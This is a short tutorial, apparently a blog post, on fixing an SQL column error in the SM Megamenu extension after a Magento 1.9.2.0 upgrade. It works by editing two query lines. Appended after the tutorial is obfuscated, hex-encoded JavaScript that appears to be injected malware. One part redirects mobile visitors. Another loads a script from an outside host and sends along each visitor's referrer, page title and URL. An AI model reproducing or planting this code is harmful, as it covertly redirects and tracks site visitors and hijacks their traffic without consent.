How To Fix SM Megamenu Error When Update To Magento v1.9.2.0

When Updating ( or installing) your Magento theme to Version 1.9.2.0, and you had problem with error of SQL state, and you want to fix it as soon as posible.

When you try to view my menu items in backend, you have an error:

a:5:{i:0;s:662:"SQLSTATE[42S22]: Column not found: 1054 Unknown column 'CONCAT( REPEAT( "--- ", (COUNT(parent.depth) - 1) ) , main_table.title)' in 'field list', query was: SELECT `main_table`.*, `mgroup`.`title` AS `group_name`, `CONCAT( REPEAT( "--- ", (COUNT(parent.depth) - 1) ) , main_table`.`title)` AS `name` FROM `sm_menu_items` AS `main_table`
INNER JOIN `sm_menu_groups` AS `mgroup` ON mgroup.id = main_table.group_id
CROSS JOIN `sm_menu_items` AS `parent` WHERE (main_table.lft BETWEEN parent.lft AND parent.rgt) AND (parent.group_id = main_table.group_id) GROUP BY `main_table`.`id` ORDER BY `main_table`.`group_id` ASC, `main_table`.`lft` ASC, id ASC LIMIT 20";i:1;s:6219:"#0

This tutorial, we will guide you how to fix it to help your store in Magento 1.9.2.0

All you need to fix the issue with mega menu is to do as 4 following steps to fix SQL state:

Step 1:Go to file app\code\local\Sm\Megamenu\Block\Adminhtml\Menuitems\Grid.php and back up this file.

Step 2:In this file app\code\local\Sm\Megamenu\Block\Adminhtml\Menuitems\Grid.php please go to line 39 and edit it into:

->columns(new Zend_Db_Expr('CONCAT( REPEAT( "'.Sm_Megamenu_Model_System_Config_Source_Prefix::PREFIX.' ", (COUNT(parent.depth) - 1) ) , main_table.title) AS name'))

Step 3: Please go to file app\code\local\Sm\Megamenu\Helper\Data.php and back up this file.

Step 4: In this file app\code\local\Sm\Megamenu\Helper\Data.php. please edit line 320 into:

->columns(new Zend_Db_Expr('CONCAT( REPEAT( "'.$prefix.'", (COUNT(parent.depth) - 1) ) , main_table.title) AS name'))

Step 5: After that you can clear cache, log out and log in your admin and you should be able to use your menu again.

Thanks abunch for reading!

]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} lt;script type=”application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

×